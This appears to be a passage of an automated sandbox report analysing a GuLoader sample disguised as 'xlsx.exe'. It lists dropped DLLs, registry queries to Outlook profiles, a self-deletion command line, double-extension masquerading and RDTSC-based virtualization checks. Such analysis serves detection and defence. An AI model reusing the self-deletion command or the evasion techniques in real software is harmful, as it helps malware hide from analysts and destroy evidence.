Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\7000091945.xlsx.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\7000091945.xlsx.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Jump to behavior

Source: 7000091945.xlsx.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.3.dr
Source:	Binary string: ucrtbase.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.3.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-memory-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883419291.0000000034F70000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-environment-l1-1-0.dll.3.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883419291.0000000034F70000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr
Source:	Binary string: msvcp140.i386.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.3.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.3.dr
Source:	Binary string: ucrtbase.pdbUGP source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.3.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-time-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.3.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.3.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883419291.0000000034F70000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-datetime-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.3.dr
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-multibyte-l1-1-0.dll.3.dr
Source:	Binary string: vcruntime140.i386.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.3.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-utility-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-rtlsupport-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-timezone-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.3.dr
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-string-l1-1-0.dll.3.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.3.dr
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l2-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-heap-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-string-l1-1-0.dll.3.dr

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000000.00000002.1668193897.00000000054CE000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1667493273.000000000056F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7000091945.xlsx.exe PID: 7784, type: MEMORYSTR

Source: api-ms-win-crt-multibyte-l1-1-0.dll.3.dr

Static PE information: 0x9F27750A [Wed Aug 12 16:00:10 2054 UTC]

Source: C:\Users\user\Desktop\7000091945.xlsx.exe

Code function: 0_2_6FF41B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_6FF41B5F

Source: msvcp140.dll.3.dr

Static PE information: section name: .didat

Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\nsf7C24.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\ucrtbase.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Self deletion via cmd or bat file

Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process created: "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "7000091945.xlsx.exe"
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process created: "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "7000091945.xlsx.exe"			Jump to behavior

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: xlsx.exe

Static PE information: 7000091945.xlsx.exe

Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\7000091945.xlsx.exe	API/Special instruction interceptor: Address: 5B13B3D
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	API/Special instruction interceptor: Address: 4673B3D

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\7000091945.xlsx.exe	RDTSC instruction interceptor: First address: 5AAB87B second address: 5AAB87B instructions: 0x00000000 rdtsc 0x00000002 test dh, ch 0x00000004 cmp dx, cx 0x00000007 cmp ebx, ecx 0x00000009 jc 00007FD035033069h 0x0000000b cmp dh, 00000052h 0x0000000e cmp ecx, eax 0x00000010 inc ebp 0x00000011 test ax, cx 0x00000014 inc ebx 0x00000015 cmp ax, 00000631h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	RDTSC instruction interceptor: First address: 460B87B second address: 460B87B instructions: 0x00000000 rdtsc 0x00000002 test dh, ch 0x00000004 cmp dx, cx 0x00000007 cmp ebx, ecx 0x00000009 jc 00007FD0347BBB59h 0x0000000b cmp dh, 00000052h 0x0000000e cmp ecx, eax 0x00000010 inc ebp 0x00000011 test ax, cx 0x00000014 inc ebx 0x00000015 cmp ax, 00000631h 0x00000019 rdtsc

Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
